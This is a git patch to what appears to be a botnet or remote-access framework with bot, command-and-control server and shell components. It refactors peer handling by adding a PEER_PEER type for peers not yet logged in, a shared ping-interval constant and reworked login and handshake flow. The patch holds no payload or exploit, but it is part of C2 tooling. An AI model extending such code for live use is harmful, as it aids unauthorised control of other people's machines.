From bc071c10d2f81dc797ba7c8a76f880794cc604b4 Mon Sep 17 00:00:00 2001 From: CPunch Date: Thu, 30 Jun 2022 09:18:01 -0500 Subject: [PATCH] Lib: added PEER_PEER type for uninitalized peers - defined LAIKA_PING_INTERVAL for the ping task --- bot/src/bot.c | 2 +- cnc/include/cpeer.h | 1 + cnc/src/cnc.c | 38 +++++++++++++++++++++++++++++--------- cnc/src/cpeer.c | 10 +++++++--- lib/include/lpacket.h | 1 + lib/include/lpeer.h | 4 ++-- lib/src/lpeer.c | 2 +- shell/src/sclient.c | 2 +- shell/src/speer.c | 2 ++ 9 files changed, 45 insertions(+), 17 deletions(-) diff --git a/bot/src/bot.c b/bot/src/bot.c index c6e6007..0e9f375 100644 --- a/bot/src/bot.c +++ b/bot/src/bot.c @@ -87,7 +87,7 @@ struct sLaika_bot *laikaB_newBot(void) laikaS_newPeer(laikaB_pktTbl, &bot->pList, laikaB_onPollFail, (void *)bot, (void *)bot); laikaT_initTaskService(&bot->tService); - laikaT_newTask(&bot->tService, 5000, laikaB_pingTask, (void *)bot); + laikaT_newTask(&bot->tService, LAIKA_PING_INTERVAL, laikaB_pingTask, (void *)bot); /* init shells */ for (i = 0; i < LAIKA_MAX_SHELLS; i++) { diff --git a/cnc/include/cpeer.h b/cnc/include/cpeer.h index 646fa5a..fbb8e73 100644 --- a/cnc/include/cpeer.h +++ b/cnc/include/cpeer.h @@ -42,6 +42,7 @@ struct sLaika_authInfo #define GETBINFOFROMPEER(x) ((struct sLaika_botInfo *)x->uData) #define GETAINFOFROMPEER(x) ((struct sLaika_authInfo *)x->uData) +struct sLaika_peerInfo *laikaC_newPeerInfo(struct sLaika_cnc *cnc); struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc); struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc); void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo); diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c index ef5a7b1..320d2a7 100644 --- a/cnc/src/cnc.c +++ b/cnc/src/cnc.c @@ -116,6 +116,10 @@ void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) sizeof(uint8_t) + LAIKA_HANDSHAKE_SALT_LEN, \ false) +struct sLaika_peerPacketInfo laikaC_peerPktTable[LAIKAPKT_MAXNONE] = { + DEFAULT_PKT_TBL +}; + struct sLaika_peerPacketInfo laikaC_botPktTbl[LAIKAPKT_MAXNONE] = { DEFAULT_PKT_TBL, LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE, @@ -213,7 +217,6 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc) void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { int i; - GETPINFOFROMPEER(peer)->completeHandshake = true; /* add to peer lookup map */ hashmap_set(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer}); @@ -223,13 +226,25 @@ void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) laikaC_sendNewPeer(cnc->authPeers[i], peer); } - /* add peer to panels list (if it's a panel) */ - if (peer->type == PEER_AUTH) { + switch (peer->type) { + case PEER_PEER: + /* should never be reached */ + break; + case PEER_BOT: + /* TODO */ + break; + case PEER_AUTH: + /* add peer to panels list (if it's a panel) */ laikaC_addAuth(cnc, peer); /* send a list of peers */ laikaC_sendPeerList(cnc, peer); + break; + default: + break; } + + GETPINFOFROMPEER(peer)->completeHandshake = true; } void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) @@ -243,15 +258,16 @@ void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) /* close any open shells */ laikaC_closeShells(peer); switch (peer->type) { - case PEER_BOT: { + case PEER_PEER: + /* should never be reached */ + break; + case PEER_BOT: /* TODO */ break; - } - case PEER_AUTH: { + case PEER_AUTH: /* remove peer from panels list */ laikaC_rmvAuth(cnc, peer); break; - } default: break; } @@ -276,6 +292,10 @@ void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTY /* update accepted packets */ peer->type = type; switch (type) { + case PEER_PEER: + peer->packetTbl = laikaC_peerPktTable; + peer->uData = laikaC_newPeerInfo(cnc); + break; case PEER_AUTH: peer->packetTbl = laikaC_authPktTbl; peer->uData = laikaC_newAuthInfo(cnc); @@ -371,8 +391,8 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) for (i = 0; i < numEvents; i++) { evnt = &evnts[i]; if (evnt->sock == &cnc->sock) { /* event on listener? */ - peer = laikaS_newPeer(laikaC_botPktTbl, &cnc->pList, laikaC_onPollFail, cnc, - (void *)laikaC_newBotInfo(cnc)); + peer = laikaS_newPeer(laikaC_peerPktTable, &cnc->pList, laikaC_onPollFail, cnc, + (void *)laikaC_newPeerInfo(cnc)); LAIKA_TRY /* setup and accept new peer */ diff --git a/cnc/src/cpeer.c b/cnc/src/cpeer.c index b1e6f41..4a190d3 100644 --- a/cnc/src/cpeer.c +++ b/cnc/src/cpeer.c @@ -21,6 +21,11 @@ struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) return pInfo; } +struct sLaika_peerInfo *laikaC_newPeerInfo(struct sLaika_cnc *cnc) +{ + return (struct sLaika_peerInfo *)allocBasePeerInfo(cnc, sizeof(struct sLaika_peerInfo)); +} + struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc) { struct sLaika_botInfo *bInfo = @@ -147,21 +152,20 @@ void laikaC_handlePeerLoginReq(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void switch (type) { case PEER_BOT: - laikaC_setPeerType(cnc, peer, PEER_BOT); break; case PEER_AUTH: /* check that peer's pubkey is authenticated */ if (!laikaK_checkAuth(peer->peerPub, cnc->authKeys, cnc->authKeysCount)) LAIKA_ERROR("laikaC_handlePeerHandshake: Unauthorized panel!\n"); - /* notify cnc */ - laikaC_setPeerType(cnc, peer, PEER_AUTH); LAIKA_DEBUG("Accepted authenticated panel %p\n", peer); break; default: LAIKA_ERROR("Unknown peerType [%d]!\n", type); } + /* notify cnc */ + laikaC_setPeerType(cnc, peer, type); LAIKA_DEBUG("Peer login for %p accepted!\n", peer); } diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h index 4bfe185..bdfe6f2 100644 --- a/lib/include/lpacket.h +++ b/lib/include/lpacket.h @@ -16,6 +16,7 @@ #define LAIKA_MAX_SHELLS 16 #define LAIKA_HANDSHAKE_SALT_LEN 32 +#define LAIKA_PING_INTERVAL 5000 /* first handshake between peer & cnc works as so: diff --git a/lib/include/lpeer.h b/lib/include/lpeer.h index 8b3d9df..02637c0 100644 --- a/lib/include/lpeer.h +++ b/lib/include/lpeer.h @@ -9,9 +9,9 @@ typedef enum { - PEER_UNKNWN, + PEER_PEER, /* unlogged-in peer */ PEER_BOT, - PEER_CNC, /* cnc 2 cnc communication */ + PEER_CNC, /* cnc 2 cnc communication (unused) */ PEER_AUTH /* authorized peers can send commands to cnc */ } PEERTYPE; diff --git a/lib/src/lpeer.c b/lib/src/lpeer.c index f90ac2c..1deea60 100644 --- a/lib/src/lpeer.c +++ b/lib/src/lpeer.c @@ -16,7 +16,7 @@ struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl, peer->pList = pList; peer->uData = uData; peer->pktSize = 0; - peer->type = PEER_UNKNWN; + peer->type = PEER_PEER; peer->osType = OS_UNKNWN; peer->pktID = LAIKAPKT_MAXNONE; peer->outStart = -1; diff --git a/shell/src/sclient.c b/shell/src/sclient.c index 34e3019..fcb3933 100644 --- a/shell/src/sclient.c +++ b/shell/src/sclient.c @@ -222,7 +222,7 @@ void shellC_init(tShell_client *client) client->peerTblCount = 0; laikaT_initTaskService(&client->tService); - laikaT_newTask(&client->tService, 5000, shell_pingTask, client); + laikaT_newTask(&client->tService, LAIKA_PING_INTERVAL, shell_pingTask, client); /* load authenticated keypair */ if (sodium_init() < 0) { diff --git a/shell/src/speer.c b/shell/src/speer.c index 677d1c9..bc4a3e2 100644 --- a/shell/src/speer.c +++ b/shell/src/speer.c @@ -35,6 +35,8 @@ void shellP_freePeer(tShell_peer *peer) char *shellP_typeStr(tShell_peer *peer) { switch (peer->type) { + case PEER_PEER: + return "Peer"; case PEER_BOT: return "Bot"; case PEER_CNC: